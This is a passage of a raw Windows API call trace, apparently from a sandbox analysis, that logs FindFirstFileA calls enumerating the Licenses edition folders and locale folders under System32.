ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.975] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\Ultimate\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.977] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\UltimateE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.981] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\eval\\UltimateN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.981] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0149.984] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\Enterprise\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.985] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\EnterpriseE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.986] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\EnterpriseN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.986] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\HomeBasic\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.987] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\HomeBasicE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.988] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\HomeBasicN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.989] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\HomePremium\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.990] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\HomePremiumE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.990] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\HomePremiumN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.991] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\Professional\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.992] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\ProfessionalE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.992] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\ProfessionalN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.993] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\Starter\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.994] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\StarterE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.995] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\StarterN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.995] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\Ultimate\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.996] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\UltimateE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.997] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\OEM\\UltimateN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0149.998] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.001] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\Enterprise\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.001] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\EnterpriseE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.002] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\EnterpriseN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.003] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\HomeBasic\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.004] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\HomeBasicE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.004] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\HomeBasicN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.005] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\HomePremium\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.006] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\HomePremiumE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.007] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\HomePremiumN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.008] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\Professional\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.008] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\ProfessionalE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.010] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\ProfessionalN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.010] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\Starter\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.011] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\StarterE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.011] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\StarterN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9a84a0, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9a84a0, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.014] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\Ultimate\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.014] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\UltimateE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.015] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\en-US\\Licenses\\_Default\\UltimateN\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2299f4a5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9ce759, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0150.509] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\es-ES\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c8b8acc, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c8b8acc, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.518] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\et-EE\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, 